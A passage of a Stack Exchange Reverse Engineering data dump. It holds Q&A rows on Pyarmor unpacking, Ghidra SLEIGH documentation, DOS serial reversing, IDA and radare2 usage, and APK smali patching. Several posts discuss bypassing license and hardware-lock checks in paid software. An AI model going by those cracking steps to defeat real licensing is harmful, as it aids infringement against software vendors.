does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/26XKf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/26XKf.png&quot; alt=&quot;https://i.imgur.com/PIGqzKx.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last final thing I found that for sure is interesting is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CKh9s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKh9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we decompile our pytransform.pyc file we are left with some of our keygen source, which I am pretty sure can be found all on the github anyways. However since this is a paid version I still figured cracking it open wouldn't hurt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, thoughts on calling functions from our dll and trying to pass it args? If that doesn't work ill try dumping it at runtime however that gets messy.&lt;/p&gt;&#xA;" OwnerUserId="31508" LastActivityDate="2023-09-14T11:54:38.557" Title="Reversing Pyarmor Discussion" Tags="|decompilation|malware|unpacking|deobfuscation|functions|" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25076" PostTypeId="1" AcceptedAnswerId="25084" CreationDate="2020-05-20T22:47:10.137" Score="-2" ViewCount="3554" Body="&lt;p&gt;i'm trying to learn reverse engineering for penetration testing my codes and i believe i won't learn unless i can do some practical so&#xA;I'm trying to crack an application that is written in C# and all i wanna do is to find the assembly location of the &lt;code&gt;if&lt;/code&gt; statement that checks for a license file which i believe i can bypass the license, just jumping over the &lt;code&gt;if&lt;/code&gt; statement but i can't figure out how to do with &lt;strong&gt;IDA Pro&lt;/strong&gt; or &lt;strong&gt;X64dbg&lt;/strong&gt;. i'm not sure if i can do that or not because C# is byte code but i think &lt;strong&gt;IDA Pro&lt;/strong&gt; and &lt;strong&gt;X64dbg&lt;/strong&gt; are only for opcode applications right?  and beside, bypassing it through assembly may cause other crashes in the application. i tried &lt;strong&gt;dnSpy&lt;/strong&gt; and &lt;strong&gt;ILSpy&lt;/strong&gt; thanks to &lt;code&gt;morsisko&lt;/code&gt; in the comments.&lt;/p&gt;&#xA;&lt;p&gt;i was able to decompile the application and access the codes and i even found the &lt;code&gt;if&lt;/code&gt; statement in the decompiled codes with JetBrains dotpeek and Visual Studio but i can't compile it again because of the errors in the image below&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;verbose mode:&lt;/strong&gt;&#xA;this application first checks for license and then checks for a hardware lock and i believe i can bypass them by &lt;code&gt;jmp&lt;/code&gt; and &lt;code&gt;nop&lt;/code&gt; in assembly cause after decompiling the application i spotted where the application looks for license and hardware lock and i saw &lt;a href=&quot;https://guidedhacking.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;guided hacking&lt;/a&gt; did the same using x64dbg. the problem is i don't know the tools to do it for C# application and the codes are like hashed!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eTm36.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTm36.jpg&quot; alt=&quot;decompiled source screenshot&quot; /&gt;&lt;/a&gt;&#xA;this is the reason i can't compile the code again&lt;/p&gt;&#xA;" OwnerUserId="33291" LastEditorUserId="33291" LastEditDate="2021-04-11T07:55:17.117" LastActivityDate="2021-04-11T07:55:17.117" Title="Debug and crack .NET executable PE" Tags="|ida|assembly|debugging|x64dbg|c#|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25077" PostTypeId="2" ParentId="25070" CreationDate="2020-05-21T04:50:33.370" Score="8" Body="&lt;p&gt;In the SleighDevTools folder, there is a &lt;code&gt;pcodetest&lt;/code&gt; folder, with a README.txt (which is unfortunately very brief).&lt;/p&gt;&#xA;&lt;p&gt;The documentation on SLEIGH can be found in &lt;code&gt;&amp;lt;ghidra install dir&amp;gt;/docs/languages/index.html&lt;/code&gt;, which explains what goes in the .slaspec file for your new processor.&lt;/p&gt;&#xA;&lt;p&gt;Some documentation on what goes in the other files like .cspec, .ldefs, .., can be found in &lt;code&gt;&amp;lt;ghidra install dir&amp;gt;/Ghidra/Framework/SoftwareModeling/data/languages&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is also an Eclipse plugin, GhidraSleighEditor, that is currently (Ghidra 9.1.2) separate from the GhidraDev eclipse plugin and must be manually installed. It can be found at &lt;code&gt;&amp;lt;ghidra install dir&amp;gt;/Extensions/Eclipse/GhidraSleighEditor/&lt;/code&gt;, and has some documentation in the &lt;code&gt;GhidraSleighEditor_README.html&lt;/code&gt; in that folder.&lt;/p&gt;&#xA;&lt;p&gt;As for your question on good documentation besides the Ghidra docs:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.cs.tufts.edu/%7Enr/pubs/specifying.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the original paper on SLED, which later in modified form became SLEIGH.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These &lt;a href=&quot;https://guedou.github.io/talks/2019_BeeRump/slides.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;slides&lt;/a&gt; go through an example of adding a processor to Ghidra&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's also this &lt;a href=&quot;https://www.reddit.com/r/ghidra/comments/bhhrt0/quick_guide_to_creating_a_processor_in_ghidra/&quot; rel=&quot;nofollow noreferrer&quot;&gt;high level guide&lt;/a&gt; to adding a processor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(thanks to mumbel for pointing this out) &lt;a href=&quot;https://www.reddit.com/r/ghidra/comments/f5lk42/my_experience_writing_processor_modules/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This reddit post&lt;/a&gt; provides valuable details on adding a processor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(thanks to Heiko) &lt;a href=&quot;https://spinsel.dev/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This blog&lt;/a&gt; contains tutorials on how to put together SLEIGH, pcode, and related concepts.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-08-17T18:04:51.453" LastActivityDate="2020-08-17T18:04:51.453" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25078" PostTypeId="1" AcceptedAnswerId="25080" CreationDate="2020-05-21T08:40:28.140" Score="0" ViewCount="54" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since some time we've been in the possession of a greenhouse. It was build around 1990 and had an automated system for climate control. However most of the installation has been removed when that greenhouse was sold, so there no longer is equipment for moisture control, heating, ... This causes the existing automated climate control system to no longer work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is though, since it's a greenhouse - it does get really hot in the summer. We use it for storing goods and vehicles, so a high temperature is not desired. We can manually open the roof, but the desire is there to have this automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a computer with software that is connected to the installation via a D-sub DC-37 plug. However since a lot of the equipment is no longer installed, the software does not operate as it should because it gets no signal from these removed components, and it's algorithm clearly does not like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is still available in the greenhouse is indoor temperature measurement, outdoor temperature measurement, windspeed measurement and rain measurement. The engines to open and close the roof panels are still there and there is still a sunscreen that is operational.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to figure out in some way what signals / instructions the software sends over the DC-37 connector. This way, I can write my own program that opens the roof windows if the temperature is too high, and the wind speed is below the safety maximum speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software is rather old software (from 1992) designed to run on DOS. It might be a BASIC program, since the floppy disk containing it also has a file BRUN30.exe, which according to a quick google search is needed by DOS to run compiled Basic programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the executables are (understandably) working on Windows 10. It also contains COM files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual program executable the contains the algorithm I believe is the 'BL270690.EXE' file. It might also be that the 'SETUPIO.EXE'contains the code to send data / instructions over the DC-37 port.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R2ig0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R2ig0.png&quot; alt=&quot;list of files of the program&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best approach for me to determine what instructions I need to send to Read the wind speed, open the roof windows, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What possibilities are there to reverse engineer these old executables / COM files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, finding a solution would mean a lot to me!&lt;/p&gt;&#xA;" OwnerUserId="33293" LastActivityDate="2020-05-21T11:35:37.790" Title="How to determine commands sent over DC-37 port by software from 1992" Tags="|disassembly|serial-communication|dos|dos-com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25079" PostTypeId="1" CreationDate="2020-05-21T09:05:25.373" Score="1" ViewCount="56" Body="&lt;p&gt;In IDA &amp;lt; 7, Hex View shows addresses starting from any memory location you choose (both synchronize or G + address). For example, asking for 0019E7EC shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0019E7EC  48 4B 46 42 39 39 2D 32  51 4D 38 35 33 2D 43 41  HKFB99-2QM853-CA&#xA;0019E7FC  32 30 30 30 00 CD 48 01  A0 E8 19 00 41 CD E1 5D  2000.-H.áÞ..A-ß]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA &gt; 7, Hex View shows addresses only aligned on 16-byte boundaries (address &amp;amp; 0FFFFFFF0). For example, asking for 0019E7EC now shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0019E7E0  A4 EA 19 00 5C 17 EF 00  00 F0 2C 00 48 4B 46 42  ¤ê..\.ï..ð,.HKFB&#xA;0019E7F0  39 39 2D 32 51 4D 38 35  33 2D 43 41 32 30 30 30  99-2QM853-CA2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to restore the old Hex View behavior?&lt;/p&gt;&#xA;" OwnerUserId="33296" LastActivityDate="2020-05-21T09:05:25.373" Title="memory addresses in Hex View are always byte-aligned in new versions of IDA" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25080" PostTypeId="2" ParentId="25078" CreationDate="2020-05-21T11:35:37.790" Score="1" Body="&lt;p&gt;You’re in for a wild ride but it can be achieved if you persist and in any case you will learn a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably start like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check what programs are run by &lt;code&gt;autoexec.bat&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run them in DOSBox and observe the output. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Step through the code in DOSBox debugger (you may need to make your own build to enable it) and try to identify accesses to the serial port and what it expects to receive&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Either try to provide necessary input via the ports or patch the code so it works with what there is. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem is somewhat exacerbated by the presumed use of Basic. It means that most of the code executed would be the code of the interpreter and not the actual program. It might be worth figuring out how the interpreter works and trying to extract the original Basic code to understand the logic better. However that’s a whole another adventure in itself so might be left as a backup option if the other attempts fail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question may offer some hints for dealing with DOS Basic binaries:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1503/60&quot;&gt;Reverse engineer an old DOS QBasic executable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-21T11:35:37.790" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25081" PostTypeId="2" ParentId="25072" CreationDate="2020-05-21T11:41:08.647" Score="6" Body="&lt;p&gt;This is most likely code that was compiled without optimizations (&lt;code&gt;-O0&lt;/code&gt; ). In such code redundant operations are very common as the compiler faithfully translates individual statements to machine code but does not try to perform optimizations to remove or simplify redundant ones. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-21T11:41:08.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25082" PostTypeId="1" CreationDate="2020-05-21T11:48:43.530" Score="4" ViewCount="794" Body="&lt;p&gt;I have a problem with understanding, why after modifying variable &lt;code&gt;var_4h&lt;/code&gt; and passing positively through jne at &lt;code&gt;0x000006c3&lt;/code&gt; I still cannot see the message. I use radare2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In debug mode, just before cmp I use: &lt;code&gt;wv \0x5 @rbp-0x4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 52: main ();&#xA;│           ; var uint32_t var_4h @ rbp-0x4&#xA;│           0x000006b0      55             push rbp&#xA;│           0x000006b1      4889e5         mov rbp, rsp&#xA;│           0x000006b4      4883ec10       sub rsp, 0x10&#xA;│           0x000006b8      c745fc040000.  mov dword [var_4h], 4&#xA;│           0x000006bf      837dfc05       cmp dword [var_4h], 5&#xA;│       ┌─&amp;lt; 0x000006c3      7518           jne 0x6dd&#xA;│       │   0x000006c5      488d35980000.  lea rsi, qword str.You_win  ; 0x764 ; &quot;You win!&quot;&#xA;│       │   0x000006cc      488d3d9a0000.  lea rdi, qword [0x0000076d] ; &quot;%s&quot;&#xA;│       │   0x000006d3      b800000000     mov eax, 0&#xA;│       │   0x000006d8      e883feffff     call sym.imp.printf&#xA;│       │   ; CODE XREF from main @ 0x6c3&#xA;│       └─&amp;gt; 0x000006dd      b800000000     mov eax, 0&#xA;│           0x000006e2      c9             leave&#xA;└           0x000006e3      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this? I just ran out of ideas what I'm doing wrong.&lt;/p&gt;&#xA;" OwnerUserId="33298" LastActivityDate="2020-05-21T16:24:37.297" Title="Modify value to pass jump and print a message with Radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25083" PostTypeId="2" ParentId="25082" CreationDate="2020-05-21T13:49:38.653" Score="3" Body="&lt;p&gt;To replicate your issue, I created a simple program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;  int x = 4;&#xA;  if (x == 5)&#xA;    printf(&quot;You win!\n&quot;);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7fb00d000c30]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Check for objc references&#xA;[x] Check for vtables&#xA;[TOFIX: aaft can't run in debugger mode.ions (aaft)&#xA;[x] Type matching analysis for all functions (aaft)&#xA;[x] Propagate noreturn information&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;[0x7fb00d000c30]&amp;gt; dcu main&#xA;Continue until 0x004004b2 using 1 bpsize&#xA;hit breakpoint at: 4004b2&#xA;[0x004004b2]&amp;gt; pdf&#xA;            ; DATA XREF from entry0 @ 0x4003fd&#xA;            ;-- rax:&#xA;            ;-- rip:&#xA;┌ 38: int main (int argc, char **argv, char **envp);&#xA;│           ; var int64_t var_4h @ rbp-0x4&#xA;│           0x004004b2      55             push rbp&#xA;│           0x004004b3      4889e5         mov rbp, rsp&#xA;│           0x004004b6      4883ec10       sub rsp, 0x10&#xA;│           0x004004ba      c745fc040000.  mov dword [var_4h], 4&#xA;│           0x004004c1      837dfc05       cmp dword [var_4h], 5&#xA;│       ┌─&amp;lt; 0x004004c5      750a           jne 0x4004d1&#xA;│       │   0x004004c7      bf64054000     mov edi, str.You_win        ; 0x400564 ; &quot;You win!&quot;&#xA;│       │   0x004004cc      e8dffeffff     call sym.imp.puts           ; int puts(const char *s)&#xA;│       └─&amp;gt; 0x004004d1      b800000000     mov eax, 0&#xA;│           0x004004d6      c9             leave&#xA;└           0x004004d7      c3             ret&#xA;[0x004004b2]&amp;gt; dcu 0x004004c1&#xA;Continue until 0x004004c1 using 1 bpsize&#xA;hit breakpoint at: 4004c1&#xA;[0x004004c1]&amp;gt; pf d @ rbp-0x4&#xA;0x7ffff4c0021c = 4&#xA;[0x004004c1]&amp;gt; wv 5 @rbp-0x4&#xA;[0x004004c1]&amp;gt; pf d @ rbp-0x4&#xA;0x7ffff4c0021c = 5&#xA;[0x004004c1]&amp;gt; dc&#xA;You win!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Few things to notice:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check your write - wv command&lt;/li&gt;&#xA;&lt;li&gt;Also note that the output doesn't show up (in my case) if I don't use &lt;code&gt;\n&lt;/code&gt; in &lt;code&gt;&quot;you win!\n&quot;&lt;/code&gt; string (although I don't know the exact reason why this happens)&lt;/li&gt;&#xA;&lt;li&gt;If you don't have an access to the source code, then edit the string and add &lt;code&gt;\n&lt;/code&gt; yourself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;iz&#xA;nth paddr      vaddr      len size section type  string&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;0   0x00000564 0x00400564 9   9    .rodata ascii You win!&#xA;&amp;gt;w You win!\n @0x00400564&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(in write mode &lt;code&gt;-w&lt;/code&gt;) It is not the most elegant way but worked in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you fix this then your program should work fine.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-05-21T16:24:37.297" LastActivityDate="2020-05-21T16:24:37.297" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25084" PostTypeId="2" ParentId="25076" CreationDate="2020-05-21T16:37:04.753" Score="4" Body="&lt;p&gt;reading your question several times and the discussion in the comments i did not understand what you're trying to get/obtain, so i will be answering to parts that i think that are relevant according to the problems you posed. maybe other and more experienced people here would help elaborate and improve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you're trying to &quot;reverse&quot; an interpreted code, .net in this case, i think the best way to do so is using dnspy, as it gives you pretty much all that you need to understand the logic, patch and change things accordingly and deal with obfuscation and similar operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you said you're struggling with obfuscation, but obfuscation is just a way to mislead the user doing the reversing. meaning you can, sometimes with great effort, to understand what's going on behind the scenes, change variable names and function names accordingly, to make it more &quot;logical&quot; to you. using a decompiler can also help you see the bigger image, but it's mostly about filling the gaps, bit and bit. what i usually do in situations like that, i try to find the calling functions and trying to understand what they do, the logic behind them, what parameters they use and why, and i go with the simplest path, meaning: sometimes if function contains a lot misleading paths, but it's easier to infer the logic from the variables, you can understand what the function does, name the variables correctly, and then go over to understand the function and its implementation to avoid wasting time on dead paths(though you can check coverage to understand what parts of the code are usually used). sometimes it's just the other way around, going with the function, understanding a bit of it's logic, understanding the parameters, and then fixing the parameters and the function, but it's mostly goes down to experience with similar tasks and going with your gut, but understanding it can be wrong(hard part is knowing when to stop before going too deeply in the wrong path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in regards to encryption or coding, sometimes going dynamically debugging might help you a lot with understand how it translates and checks your input, or the mechanism behind the encryption. but usually it goes down to many basic encryption/coding algorithms or custom implementation of them, that can be spotted with some experience, and then it's easier. if you coded the application and it's not a malware(though you should have snapshots), then there's nothing wrong if you do &quot;bad things&quot;, just to understand which functions the program is calling, how it handles information, common program paths, apis, obfuscation and finally dealing with the encryption scheme you're facing. sometimes you don't need to face the encryption if it's not done correctly, you can, at times, just avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you said you wanted to crack the application, so i don't understand what you mean by that, i thought you meant like a crackme kind of task. if you really want to &quot;crack&quot; applications, you should know that there are lot of other defensive mechanisms such as checksums, different signatures, sometimes server verification and similar, but it all goes down to understand the logic behind what's happening. though i really don't think &quot;cracking&quot; is not a good path to walk at, i think that you should find better ways to use your skills for good, for instance malware analysis or hardening software/binaries by identifying weak implementations and similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyways, since you did not provide a problem but a general issue, my best answer is to go with your guts, fail, and then learn why you failed to try it again and again until you understand how it works. it will help you understand and develop &quot;hunch&quot;. then it's easier to understand how to defeat obfuscation and encryption and similar mechanisms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bottom line is simple, ask yourself simple question, what does it do? is it obfuscated? is it encrypted? why is it encrypted? how does it encrypt? what does it encrypt? how does it check what is correct/wrong? does it matter if i input the correct information or can i bypass it somehow? but the easiest way is just understanding the goal, and going backwards, and thus tackling only what actually interferes with your progress, and not meaningless things that you solved, but could have avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/24391998&quot;&gt;this answer&lt;/a&gt; would introduce some tools for debugging C# application&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope i helped a bit and good luck&lt;/p&gt;&#xA;" OwnerUserId="33289" LastEditorUserId="245" LastEditDate="2020-05-22T13:00:26.657" LastActivityDate="2020-05-22T13:00:26.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25086" PostTypeId="1" AcceptedAnswerId="25087" CreationDate="2020-05-21T21:30:10.887" Score="1" ViewCount="170" Body="&lt;p&gt;I'm working on an executable. I've searched by string, and found my string appears once in something that looks like table of localized strings + keys. Now I want to find the function which accesses the table and retrieves a localized string. The problem is that the table is big. VERY big. I tried scrolling up until I find XRef, but either I scroll too fast or too slow and I'll never finish. Instead, I'd like for IDA to find the nearest XRef &lt;strong&gt;before&lt;/strong&gt; an address. Is there any way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; If you're think I'm doing this wrong, please let me know (I'm still a beginner in reverse engineering) - but answer my question too, nevertheless.&lt;/p&gt;&#xA;" OwnerUserId="31462" LastActivityDate="2020-05-22T02:18:42.220" Title="Find Nearest Address Which Has XRef in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25087" PostTypeId="2" ParentId="25086" CreationDate="2020-05-22T02:18:42.220" Score="0" Body="&lt;p&gt;It could be done with a script but for occasional use a text search will do the trick: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt-T&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;String: XREF&lt;/li&gt;&#xA;&lt;li&gt;[x] Search Up&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Because text search looks in whole disassembly, including comments, it should find the line with the text 'xref' in the comment.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-22T02:18:42.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25088" PostTypeId="1" AcceptedAnswerId="25093" CreationDate="2020-05-22T06:44:19.137" Score="3" ViewCount="535" Body="&lt;p&gt;I have separately decompiled apk to smali/dalvik and to java classes. As apk is not obfuscated java code is pretty good to read and I can pretty easily see corresponding smali code. &#xA;So far I was able to do successfully:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modify code for checking license file (change comparison for year)&lt;/li&gt;&#xA;&lt;li&gt;add logging to some basic data. Logger function was already in apk to I just call it and everything works fine. I use adb to read logs. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I was trying to add next was to add logging for byte array. Why? Because this apk connects to Bluetooth device from which it receives the data. I wanted to know what data it receives. As I didn't know how to do that this is what I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made simple Android app with static function which gets byte array and returns string (copied some snipped). It was using BigInteger. Then I compiled it and decompiled using apktool.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .method public static ByteArrayToString([B)Ljava/lang/String;&#xA;    .locals 2&#xA;    .param p0, &quot;data&quot;    # [B&#xA;&#xA;    .line 16&#xA;    new-instance v0, Ljava/math/BigInteger;&#xA;&#xA;    const/4 v1, 0x1&#xA;&#xA;    invoke-direct {v0, v1, p0}, Ljava/math/BigInteger;-&amp;gt;&amp;lt;init&amp;gt;(I[B)V&#xA;&#xA;    const/16 v1, 0x10&#xA;&#xA;    invoke-virtual {v0, v1}, Ljava/math/BigInteger;-&amp;gt;toString(I)Ljava/lang/String;&#xA;&#xA;    move-result-object v0&#xA;&#xA;    .line 17&#xA;    .local v0, &quot;hexaString&quot;:Ljava/lang/String;&#xA;    return-object v0&#xA;    .end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I copied that whole function to my decompiled apk (the same class from which I wanted to call it/log data) and called that function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    invoke-static {v0}, Lxx/xxxx/xxxxx/xx/xxxx/xxxxxx;-&amp;gt;ByteArrayToString([B)Ljava/lang/String;&#xA;    const-string v5, &quot;:: MY RAW DATA: &quot;&#xA;    invoke-static {v5}, Landroid/util/Log;-&amp;gt;d(Ljava/lang/String;Ljava/lang/String;)I&#xA;    move-result-object v4&#xA;    invoke-static {v4}, Lorg/apache/log4j/helpers/LogLog;-&amp;gt;debug(Ljava/lang/String;)V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it didn't work. Application compiled succesfully, it installed and lunched without a crash. However it didn't connect to my bluetooth device (bluetooth communication is essential). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here are some questions (edited):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is my approach correct?&lt;/li&gt;&#xA;&lt;li&gt;What may be the reason for application not to work with bluetooth anymore?&lt;/li&gt;&#xA;&lt;li&gt;Where should I put additional logic? Is the same class OK?&lt;/li&gt;&#xA;&lt;li&gt;What about importing? For example in my new logic I had to import java.math.BigInteger; Will my function has this import somehow embedded in its logic?&lt;/li&gt;&#xA;&lt;li&gt;Is there any better approach than mine?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've solved my initial problem, now I'm trying to figure out the rest. &#xA;Answers are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, my approach is correct and it works. I just used wrong log function (as it was mentioned in comment below).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Probably using this function (instead of adding new method) is sufficient:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invoke-static {v0}, Ljava/util/Arrays;-&amp;gt;toString([B)Ljava/lang/String;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Strangely my problems with discovering Bluetooth devices has been solved by enabling GPS. Not 100% sure, but looks that way. I also saw this in logs:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BluetoothUtils: packagename is xx.xxxxx.xxxx ,and its permission is false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33307" LastEditorUserId="33307" LastEditDate="2020-05-22T21:15:06.767" LastActivityDate="2020-05-22T21:15:06.767" Title="Modifying (adding new logic) decompiled apk to log different kind of data causing problems (crash/bluetooth connection)" Tags="|android|apk|dalvik|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
